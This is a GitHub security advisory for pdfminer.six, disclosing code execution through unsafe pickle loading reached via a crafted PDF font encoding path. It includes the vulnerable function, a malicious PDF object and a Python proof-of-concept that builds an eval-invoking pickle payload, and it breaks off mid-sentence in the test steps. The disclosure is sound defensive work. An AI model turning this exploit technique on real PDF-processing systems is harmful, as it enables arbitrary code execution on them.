GitHub Security Advisory: GHSA-wf5f-4jwr-ppcp
Package: pdfminer.six (PIP)
Severity: HIGH (CVSS 8.6)
CWE: CWE-502: Deserialization of Untrusted Data
Vulnerable versions: < 20251107
Patched in: 20251107

Summary: Arbitrary Code Execution in pdfminer.six via Crafted PDF Input

Details:
### Summary

pdfminer.six will execute arbitrary code from a malicious pickle file if provided with a malicious PDF file. The `CMapDB._load_data()` function in pdfminer.six uses `pickle.loads()` to deserialize pickle files. These pickle files are supposed to be part of the pdfminer.six distribution stored in the `cmap/` directory, but a malicious PDF can specify an alternative directory and filename as long as the filename ends in `.pickle.gz`. A malicious, zipped pickle file can then contain code which will automatically execute when the PDF is processed.

### Details

```python
# Vulnerable code in pdfminer/cmapdb.py:233-246
def _load_data(cls, name: str) -> Any:
    name = name.replace("\0", "")  # Insufficient sanitization
    filename = "%s.pickle.gz" % name
    # ... path construction ...
    path = os.path.join(directory, filename) # If filename is an absolte path, directory is ignored
    # ...
    return type(str(name), (), pickle.loads(gzfile.read()))  # Unsafe deserialization
```

An attacker can:
1. Create a malicious PDF with a CMap reference like `/malicious`
2. Place a malicious pickle file at `/malicious.pickle.gz`
3. When the PDF is processed, pdfminer loads and deserializes the malicious pickle
4. The pickle deserialization can execute arbitrary Python code

### POC

#### Malicious PDF

Create a PDF with a malicious CMAP entry:

```
5 0 obj
<<
/Type /Font
/Subtype /Type0
/BaseFont /MaliciousFont-Identity-H
/Encoding /#2Fpdfs#2Fmalicious
/DescendantFonts [6 0 R]
>>
endobj
```

Here the /Encoding points to `/pdfs/malicious`. Pdfminer will append the extension `.pickle.gz` to this filename. Place the PDF in a file called `/pdfs/malicious.pdf`.

#### Malicious Pickle

Create a malicious, zipped pickle to execute. For example, with this Python script:

```python
#!/usr/bin/env python3
import pickle
import gzip

def create_demo_pickle():
    print("Creating demonstration pickle file...")

    # Create payload that executes code AND returns a dict (as pdfminer expects)
    class EvilPayload:
        def __reduce__(self):
            # This function will be called during unpickling
            code = "print('Malicious code executed.') or exit(0) or {}"
            return (eval, (code,))

    demo_cmap_data = EvilPayload()

    # Create the pickle file that the path traversal would access
    target_path = "./malicious.pickle.gz"

    try:
        with gzip.open(target_path, 'wb') as f:
            pickle.dump(demo_cmap_data, f)
        print(f"✓ Created demonstration pickle file: {target_path}")
        return target_path

    except Exception as e:
        print(f"✗ Error creating pickle file: {e}")
        return None

if __name__ == "__main__":
    create_demo_pickle()
```

This will create a harmless, zipped pickle file that will display "Malicious code eecuted." then exit when deserialized. Put the file in `/pdfs/malicious.pickle.gz`.

#### Test

Install pdfminer.six and run `pdf2text.py /pdfs/malicious.pdf`. Instead of processing